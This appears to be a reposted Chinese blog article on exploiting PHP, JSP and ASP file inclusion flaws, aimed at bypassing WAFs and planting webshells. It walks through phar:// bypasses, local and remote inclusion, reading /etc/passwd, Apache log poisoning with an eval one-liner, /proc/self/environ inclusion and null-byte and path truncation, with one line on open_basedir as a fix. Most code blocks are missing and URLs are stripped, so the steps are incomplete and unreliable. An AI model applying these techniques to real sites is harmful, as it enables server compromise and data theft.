谁将烟焚散,散了纵横的牵绊 文件包含漏洞是渗透测试过程中用得比较多的一个漏洞,主要用来绕过waf上传木马文件。今日在逛Tools论坛时,发现了一种新型的文件包含姿势,在此记录分享,并附上一些文件包含漏洞的基础利用姿势。 特殊姿势利用phar://协议特性可以在渗透过程中帮我们绕过一些waf检测,phar:// 数据流包装器自 PHP 5.3.0 起开始有效,貌似可以绕过安全狗。 利用过程新建shell.php代码内容:
新建test.txt里的内容:
压缩test.txt文件,可以重命名压缩文件为zip,phar,rar等格式,之后访问shell.php文件后,会出现phpinfo内容。 亲测有效在实验环境下,在test目录下新建shell.php,test.txt,并将test.txt打包成test.zip。 参考:http://bbs./thread-216191.htm php文件包含漏洞PHP中的文件包含分为本地包含与远程包含,导致文件包含的函数如下:
本地包含漏洞(LFI)新建一个phpinfo.txt,然后新建一个shell.php,写入:
访问shell.php会输出phpinfo页面内容,无论将扩展名改为什么,都将以php代码执行。如果文件不是符合php规则的(即没有写<?php ?>等),则通过include可以直接输出源码。 远程包含漏洞前提:需要开启allow_url_fopen,默认关闭。
新建index.php:
访问http://www./page=http://www./php.txt执行结果将输出hello world。 文件包含利用读取敏感信息如:http://www./index.php?page=/etc/passwd
LINUX:
远程包含shelltest.txt文件,可以保存在远程服务器上,内容如下:
如果目标网站存在远程包含漏洞,则可以通过访问:http://www./index.php?page=http://www.xx2.com/test.txt则会在服务器根目录下生产一个shell.php内容为:
本地包含配合文件上传如果目标服务器关闭了allow_url_fopen,则可以尝试使用本地包含 文件上传
访问URL:http://www./index.php?page=./a.jpg在本地生成shell.php。 本地包含配合apache日志拿shellapache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www./<?php eval([$_POST]);?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。 利用/proc/self/environ进行包含如:http://www./view.php?page=../../../../proc/self/environ 利用php协议进行包含
poc:
截断包含有些开发者为了防止本地包含漏洞,会编写一下代码:
(一)00截断包含
这样的话比如上传一个1.jpg图片码,则访问http://www./1.jpg时,访问的是1.jgp.php,以为没有这个文件所以报错。这是,可以尝试访问http://www./1.jpg%00 (二)使用长目录截断
在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。 文件包含漏洞修复开启open_basedir函数,将其设置为指定目录,则只有该目录的文件允许被访问。 jsp文件包含漏洞include
jsp:include
采用JSTL
说明(1)include指令在转换时插入“Header.jsp”的源代码,而 asp文件包含漏洞asp貌似无法包含远程文件(iis安全设置),只能包含本地文件,语法如下:
aspx文件包含漏洞aspx文件包含与asp一样,语法如下:
传送门 |
|
来自: 小灰灰i58u7w06 > 《漏洞利用文章》